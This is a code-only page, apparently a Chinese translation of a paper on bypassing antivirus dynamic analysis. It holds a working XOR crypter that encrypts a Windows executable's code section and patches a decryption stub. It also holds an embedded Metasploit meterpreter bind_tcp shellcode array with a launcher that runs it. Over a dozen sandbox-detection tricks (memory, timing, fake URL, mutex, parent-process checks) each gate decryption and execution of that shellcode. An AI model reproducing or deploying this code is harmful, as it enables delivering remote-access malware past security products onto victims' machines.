BypassAVDynamics[译]

/* Your system includes */
##include <windows.h>
 
/* Declare .code as a read/write/execute segment */
##pragma section(".code",execute, read, write)
##pragma comment(linker,"/SECTION:.code,ERW")
 
/* .code 段开始（下面所有生成的可执行代码都将进入 .code 段）*/
##pragma code_seg(".code")

 
// .stub SECTION
##pragma section(".stub", execute, read, write)
##pragma code_seg(".stub")
 
##define CODE_BASE_ADDRESS	0x15151515 // 指向原始数据的dumpbin文件指针 (do not change, this will be patched by cryptor)
##define CODE_SIZE			0x14141414 // 虚拟内存的dumpbin大小 (do not change, this will be patched by cryptor)
 
/* Decrypt .code block encrypted by cryptor */
/* In this function do not declare array to avoid security cookies checks (see http://msdn.microsoft.com/en-us/library/8dbf701c.aspx) */
/* Or disable security check (GS- option) on prog compilation */
void decryptCodeSection()
{
	unsigned char *ptr;
	long int i;
	long int nbytes;
	int cpt = 0;
	BYTE  key[] = { '1','2','3','4','5','6','7','8','\0'};/* 注意：如果您打算加密 .rdata 段，请避免使用字符串 */
	int keyLength = 8;
	ptr = (unsigned char *)CODE_BASE_ADDRESS;/* 这将由cryptor修补*/
	nbytes = CODE_SIZE;/* 这将由cryptor修补*/
 
	// decrypt code segment    
    for( i = 0 ; i < nbytes ; i++ )
    {
		ptr[i]=ptr[i]^key[cpt];
		cpt = cpt + 1;
		if(cpt == keyLength)
			cpt = 0;
    }
	return;
}
 
/* Program first entry function */
int main()
{
	decryptCodeSection();
	realmain(); /* Call decrypted program entry point */
	return 0;
}

/MTD -> for debug
/MT  -> for release

/**
 * Get information of .code and .stub segments
 */
void getSegmentsInfo(LPVOID baseAddress, SEGMENT_INFO_PTR codeSegmentInfo, SEGMENT_INFO_PTR stubSegmentInfo)
{
    PIMAGE_DOS_HEADER dosHeader;
    PIMAGE_NT_HEADERS peHeader;
    IMAGE_OPTIONAL_HEADER32 optionalHeader;

    dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    if (((*dosHeader).e_magic) != IMAGE_DOS_SIGNATURE)
    {
        printf("getSegmentsInfo: Dos signature not matched\n");
        return;
    }
    printf("getSegmentsInfo: Dos signature=%X\n", (*dosHeader).e_magic);

    peHeader = (PIMAGE_NT_HEADERS)((DWORD)baseAddress + (*dosHeader).e_lfanew);
    if (((*peHeader).Signature) != IMAGE_NT_SIGNATURE)
    {
        printf("getSegmentsInfo: PE signature not matched\n");
        return;
    }
    printf("getSegmentsInfo: PE signature=%X\n", (*peHeader).Signature);

    optionalHeader = (*peHeader).OptionalHeader;
    if ((optionalHeader.Magic) != 0x10B)
    {
        printf("getSegmentsInfo: Optional header magic number does not match\n");
        return;
    }
    printf("getSegmentsInfo: OPtional header magic nb=%X\n", optionalHeader.Magic);

    (*codeSegmentInfo).moduleBase = optionalHeader.ImageBase;
    (*stubSegmentInfo).moduleBase = optionalHeader.ImageBase;

    printf("getSegmentsInfo: # sections=%d\n", (*peHeader).FileHeader.NumberOfSections);

    /* Fill code information with content of code segment */
    TraverseSectionHeaders(IMAGE_FIRST_SECTION(peHeader), (*peHeader).FileHeader.NumberOfSections, codeSegmentInfo, ".code");
    TraverseSectionHeaders(IMAGE_FIRST_SECTION(peHeader), (*peHeader).FileHeader.NumberOfSections, stubSegmentInfo, ".stub");

    return;
}

/**
 * Look for sectionName segment in mapped file
 * addrInfo will be filled with the segment information
 */
void TraverseSectionHeaders(
    PIMAGE_SECTION_HEADER section,
    DWORD nSections,
    SEGMENT_INFO_PTR addrInfo,
    char *sectionName)
{
    DWORD i;
    /* Copy pointer to initial section (so this function can be called several times) */
    PIMAGE_SECTION_HEADER localSection = section;
    printf("\n\nTraverseSectionHeaders: searching for segment in section headers\n");
    for (i = 0; i < nSections; i++)
    {
        printf("     ====================     \n");
        printf("\tName:			%s\n", (*section).Name);
        if (strcmp((*section).Name, sectionName) == 0)
        {
            (*addrInfo).fileSegmentOffset = (*section).PointerToRawData; /* Location of segment in binary file*/
            (*addrInfo).fileSegmentSize = (*section).SizeOfRawData;      /* Size of segment */
            (*addrInfo).memorySegmentOffset = (*section).VirtualAddress; /* Offset of segment in memory at runtime */
        }
        section = section + 1;
    }
    return;
}

/**
 * Encrypt .code segment bytes in the given file 
 */
void cipherBytes(char* fileName, SEGMENT_INFO_PTR addrInfo)
{
	DWORD fileOffset;
	DWORD nbytes;
 
	FILE* fptr;
	BYTE *buffer;
	DWORD nItems;
	DWORD i;
	BYTE  key[] = "ab345izz";
	int keyLength = 8;
	int cpt = 0;
 
	fileOffset = addrInfo->fileSegmentOffset;
	nbytes = addrInfo->fileSegmentSize;
	/* Allocate memory in buffer that will store content of segment */
	buffer = (BYTE*)malloc(nbytes);
	if(buffer == NULL)
	{
		printf("cipherBytes: malloc error \n");
		return;
	} 
 
	/* Open binary file */
	fptr = fopen(fileName,"r+b");
	if(fptr == NULL)
	{
		printf("cipherBytes: fopen error \n");
		return;
	}
	/* Seek .code section using calculated offset and copy content into buffer*/
	if(fseek(fptr, fileOffset, SEEK_SET)!=0)
	{
		printf("cipherBytes: Unable to set file pointer to %ld \n", fileOffset);
		fclose(fptr);
		return;
	}
	nItems = fread(buffer, sizeof(BYTE), nbytes, fptr);
	if(nItems  <nbytes)
	{
		printf("cipherBytes: Trouble reading nItems = %d \n",nItems);
		fclose(fptr);
		return;
	}
 
	/* Encrypt buffer */
    for( i = 0 ; i < nbytes ; i++ )
    {
		buffer[i]=buffer[i]^key[cpt];
		cpt = cpt + 1;
		if(cpt == keyLength)
			cpt = 0;
    }
 
	/* Replace current .code section in file by encrypted one */
	if(fseek(fptr, fileOffset, SEEK_SET)!=0)
	{
		printf("cipherBytes: Unable to set file pointer to %ld \n", fileOffset);
		fclose(fptr);
		return;
	}
	nItems = fwrite(buffer, sizeof(BYTE), nbytes, fptr);
	if(nItems  <nbytes)
	{
		printf("cipherBytes: Trouble writing nItems = %d \n",nItems);
		fclose(fptr);
		return;
	}
 
	printf("Successfully ciphered %d bytes\n",nbytes);
	fclose(fptr);
	return;
}

/**
 * Patch the filepath file (the .stub segment)
 * Here we replace CODE_BASE_ADDRESS and CODE_SIZE by newBaseAddr and newSegSize
 * newBaseAddr is the Virtual memory base address of .code segment in target file
 * newSegSize contains the size of the target file .code segment
 */
void patchStub(char * filepath,  SEGMENT_INFO_PTR addrInfo, DWORD newBaseAddr, DWORD newSegSize )
{
	DWORD fileOffset;
	DWORD nbytes;
	DWORD nItems;
	/* Signature to locate where segment memory base address should be written */
	BYTE baseAddrSignature[] = { 0x15, 0x15, 0x15, 0x15, 0x00 }; 
	/* Signature to locate where segment size should be written*/
	BYTE segSizeSignature[] = { 0x14, 0x14, 0x14, 0x14, 0x00 }; 
	BYTE * baseAddrAddress = NULL;
	BYTE * segSizeAddress = NULL;
	BYTE *buffer;
	FILE* fptr;
	fileOffset = addrInfo->fileSegmentOffset;
	nbytes = addrInfo->fileSegmentSize;
 
	/* Allocate memory in buffer that will store content of segment */
	buffer = (BYTE*)malloc(nbytes);
	if(buffer == NULL)
	{
		printf("patchStub: malloc error \n");
		return;
	}
 
	/* Open binary file */
    fptr = fopen(filepath, "r+b");
	if(fptr == NULL)
	{
		printf("patchStub: fopen error \n");
		return;
	}
 
	/* Seek .stub section using calculated offset*/
	if(fseek(fptr, addrInfo->fileSegmentOffset, SEEK_SET)!=0)
	{
		printf("patchStub: Unable to set file pointer to %ld \n", addrInfo->fileSegmentOffset);
		fclose(fptr);
		return;
	}
	/* Copy content of stub segment into buffer */
	nItems = fread(buffer, sizeof(BYTE), nbytes, fptr);
	if(nItems  <nbytes)
	{
		printf("patchStub: Trouble reading nItems = %d \n",nItems);
		fclose(fptr);
		return;
	}
 
	/* Search the baseAddress in buffer section */
	baseAddrAddress = binStrstr(buffer,baseAddrSignature);
	/* Change base Address by calculated value */
	memcpy(baseAddrAddress,&newBaseAddr,sizeof(newBaseAddr));
 
	/* Search the baseAddress in buffer section */
	segSizeAddress = binStrstr(buffer,segSizeSignature);
	/* Change base Address by calculated value */
	memcpy(segSizeAddress,&newSegSize,sizeof(newSegSize));
 
    /* Replace current .stub section in file by patched one */
	if(fseek(fptr, fileOffset, SEEK_SET)!=0)
	{
		printf("patchStub: Unable to set file pointer to %ld \n", fileOffset);
		fclose(fptr);
		return;
	}
	nItems = fwrite(buffer, sizeof(BYTE), nbytes, fptr);
	if(nItems  <nbytes)
	{
		printf("patchStub: Trouble writing nItems = %d \n",nItems);
		fclose(fptr);
		return;
	}
    printf("Successfully patched file\n");
	fclose(fptr);
 
    return ;
}

/** 
 * Cryptor entry point 
 */
void main(int argc, char *argv[])
{
	char *fileName;
	HANDLE hFile;
	HANDLE hFileMapping;
	LPVOID fileBaseAddress;
	BOOL retVal;
	/* To store information of .code and .stub segments */
	SEGMENT_INFO codeSegmentInfo;
	SEGMENT_INFO stubSegmentInfo;
 
	if(argc <2)
	{
		printf("main: Not enough arguments");
		return;
	}
	fileName = argv[1];
	/* Map target file */
	retVal = getHMODULE(fileName, &hFile, &hFileMapping, &fileBaseAddress);
	if(retVal==FALSE)
	{
		return;
	}
 
	/* Init structures */
	codeSegmentInfo.moduleBase = (DWORD)NULL;
	codeSegmentInfo.memorySegmentOffset = (DWORD)NULL;
	codeSegmentInfo.fileSegmentOffset = (DWORD)NULL;
	codeSegmentInfo.fileSegmentSize = (DWORD)NULL;
	stubSegmentInfo.moduleBase = (DWORD)NULL;
	stubSegmentInfo.memorySegmentOffset = (DWORD)NULL;
	stubSegmentInfo.fileSegmentOffset = (DWORD)NULL;
	stubSegmentInfo.fileSegmentSize = (DWORD)NULL;
 
	/* Fill segments information */
	getSegmentsInfo(fileBaseAddress,&codeSegmentInfo,&stubSegmentInfo);
 
	printf("\n\n=======================\n");
	printf(".code segment information: \n");
	printf("RAM image base		=0x%08X\n",codeSegmentInfo.moduleBase);
	printf("RAM segment offset	=0x%08X\n",codeSegmentInfo.memorySegmentOffset);
	printf("File offset of code =0x%08X\n",codeSegmentInfo.fileSegmentOffset);
	printf("File size of code	=0x%08X\n",codeSegmentInfo.fileSegmentSize);
	printf("\n\n=======================\n");
	printf(".stub segment information: \n");
	printf("RAM image base		=0x%08X\n",stubSegmentInfo.moduleBase);
	printf("RAM segment offset	=0x%08X\n",stubSegmentInfo.memorySegmentOffset);
	printf("File offset of code =0x%08X\n",stubSegmentInfo.fileSegmentOffset);
	printf("File size of code	=0x%08X\n",stubSegmentInfo.fileSegmentSize);
	closeHandles(hFile, hFileMapping,fileBaseAddress);
	cipherBytes(fileName,&codeSegmentInfo);
 
	patchStub(fileName,&stubSegmentInfo,codeSegmentInfo.moduleBase+codeSegmentInfo.memorySegmentOffset,codeSegmentInfo.fileSegmentSize);
 
	return;
}

 
##include <Windows.h>
 
/* Declare new sections to store encrypted code and shellcode data */
##pragma section(".code",execute, read, write)
##pragma section(".codedata", read, write)
// Merge  .codedata into .code (which will be encrypted by cryptor)
##pragma comment(linker,"/MERGE:.codedata=.code")
// Declare .code as Executable, Read, Write section, this is necessary so application rewrites itself
##pragma comment(linker,"/SECTION:.code,ERW")
 
// This will put all following constants and global variables in .codedata segment
// 这会将所有以下常量和全局变量放在 .codedata 段中
##pragma data_seg(".codedata")
##pragma const_seg(".codedata")
// From here executable code will go in .code section
##pragma code_seg(".code")
 
/*
 * windows/meterpreter/bind_tcp - 298 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false, 
 * PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true, 
 * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true, 
 * EnableUnicodeEncoding=true
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
"\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
"\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
"\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
 
 
/* Launch the meterpreter shellcode */
int shellLaunch()
 {
    /* Declare pointer on function */
    int (*func) ();
 
    /* Cast shellcode into function */
    func = (int (*) ()) buf;
 
    /* Call function (Execute shellcode) */
    (int) (*func) ();
}
 
 
// .stub SECTION , the following part is not encrypted.
##pragma section(".stub", execute, read, write)
##pragma code_seg(".stub")
##pragma section(".stubdata", read, write)
// Merge  .stubdata into .stub (decryption part)
##pragma comment(linker,"/MERGE:.stubdata=.stub")
 
// This will put out strings and global variables in .stubdata segment
##pragma data_seg(".stubdata")
##pragma const_seg(".stubdata")
// Executable code will go in .stub section
##pragma code_seg(".stub")
 
 
// Next data are signature recognized by cryptor to patch the target
// 下一个数据是加密器识别的签名以修补目标
##define CODE_BASE_ADDRESS	0x15151515 
##define CODE_SIZE			0x14141414 
 
/* Decrypt .code block encrypted by cryptor */
/* In this function do not declare array to avoid security cookies checks (see http://msdn.microsoft.com/en-us/library/8dbf701c.aspx) */
/* Or disable security check (GS- option) on prog compilation */
void decryptCodeSection()
{
	unsigned char *ptr;
	long int i;
	long int nbytes;
	DWORD patience;
	DWORD codeAddr;
 
	int cpt = 0;
 
	BYTE  key[] = { 'a','b','a','b','a','b','a','b','\0'};
	int keyLength = 8;
	ptr = (unsigned char *)CODE_BASE_ADDRESS;
	nbytes = CODE_SIZE;
 
	// Decrypt code segment    
        for( i = 0 ; i < nbytes ; i++ )
        {
		ptr[i]=ptr[i]^key[cpt];
		cpt = cpt + 1;
		if(cpt == keyLength)
			cpt = 0;
         }
	return;
}
 
int main()
{
	decryptCodeSection();
	shellLaunch(); /* Call function which executes shellcode now that it is decrypted */
	return 0;
}
 

##define TOO_MUCH_MEM 100000000
int main()
{
    char *memdmp = NULL;
    memdmp = (char *)malloc(TOO_MUCH_MEM);
    if (memdmp != NULL)
    {
        memset(memdmp, 00, TOO_MUCH_MEM);
        free(memdmp);
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

##define MAX_OP 100000000
int main()
{
    int cpt = 0;
    int i = 0;
    for (i = 0; i < MAX_OP; i++)
    {
        cpt++;
    }
    if (cpt == MAX_OP)
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

int main()
{
    HANDLE file;
    HANDLE proc;
    proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);
    if (proc == NULL)
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

##include <Wininet.h>
##pragma comment(lib, "Wininet.lib")
int main()
{
    char cononstart[] = "http://www.notdetectedmaliciouscode.com//"; // Invalid URL
    char readbuf[1024];
    HINTERNET httpopen, openurl;
    DWORD read;
    httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET _FLAG_NO_CACHE_WRITE, NULL);
    if (!openurl) // Access failed, we are not in AV
    {
        InternetCloseHandle(httpopen);
        InternetCloseHandle(openurl);
        decryptCodeSection();
        startShellCode();
    }
    else // Access successful, we are in AV and redirected to a custom webpage
    {
        InternetCloseHandle(httpopen);
        InternetCloseHandle(openurl);
    }
}

##define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"
int main()
{
    HANDLE file;
    DWORD tmp;
    LPCVOID buff = "1234";
    char outputbuff[5] = {0};
    file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                      FILE_ATTRIBUTE_NORMAL, 0);
    if (WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL))
    {
        CloseHandle(file);
        file = CreateFile(FILE_PATH,
                          GENERIC_READ,
                          FILE_SHARE_READ,
                          NULL,
                          OPEN_EXISTING, // existing file only
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);
        if (ReadFile(file, outputbuff, 4, &tmp, NULL))
        {
            if (strncmp(buff, outputbuff, 4) == 0)
            {
                decryptCodeSection();
                startShellCode();
            }
        }
        CloseHandle(file);
    }
    DeleteFile(FILE_PATH);
    return 0;
}

int main(void)
{
    LPVOID mem = NULL;
    mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
    if (mem != NULL)
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

int main(void)
{
    DWORD result = FlsAlloc(NULL);
    if (result != FLS_OUT_OF_INDEXES)
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

##include <Psapi.h>
##pragma comment(lib, "Psapi.lib")
int main()
{
    PROCESS_MEMORY_COUNTERS pmc;
    GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
    if (pmc.WorkingSetSize <= 3500000)
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

##include <time.h>
##pragma comment(lib, "winmm.lib")
int main()
{
    DWORD mesure1;
    DWORD mesure2;
    mesure1 = timeGetTime();
    Sleep(1000);
    mesure2 = timeGetTime();
    if ((mesure2 > (mesure1 + 1000)) && (mesure2 < (mesure1 + 1005)))
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "test.exe") > 0)
    {
        decryptCodeSection();
        startShellCode();
    }
    return 0;
}

##include <TlHelp32.h>
##include <Psapi.h>
##pragma comment(lib, "Psapi.lib")
int main()
{
    int pid = -1;
    HANDLE hProcess;
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = {0};
    pe.dwSize = sizeof(PROCESSENTRY32);
    // Get current PID
    pid = GetCurrentProcessId();
    if (Process32First(h, &pe))
    {
        // find parent PID
        do
        {
            if (pe.th32ProcessID == pid)
            {
                // Now we have the parent ID, check the module name
                // Get a handle to the process.
                hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,
                                       pe.th32ParentProcessID);
                // Get the process name.
                if (NULL != hProcess)
                {
                    HMODULE hMod;
                    DWORD cbNeeded;
                    TCHAR processName[MAX_PATH];
                    if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))
                    {
                        // If parent process is myself, decrypt the code
                        GetModuleBaseName(hProcess, hMod, processName,
                                          sizeof(processName) / sizeof(TCHAR));
                        if (strncmp(processName, "test.exe", strlen(processName)) == 0)
                        {
                            decryptCodeSection();
                            startShellCode();
                        }
                        else
                        {
                            // or else call my binary in a new process
                            startExe("test.exe");
                            Sleep(100); // Wait for child
                        }
                    }
                }
                // Release the handle to the process.
                CloseHandle(hProcess);
            }
        } while (Process32Next(h, &pe));
    }
    CloseHandle(h);
    return 0;
}

int main()
{
    HANDLE mutex;
    mutex = CreateMutex(NULL, TRUE, "muuuu");
    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        decryptCodeSection();
        startShellCode();
    }
    else
    {
        startExe("test.exe");
        Sleep(100);
    }
    return 0;
}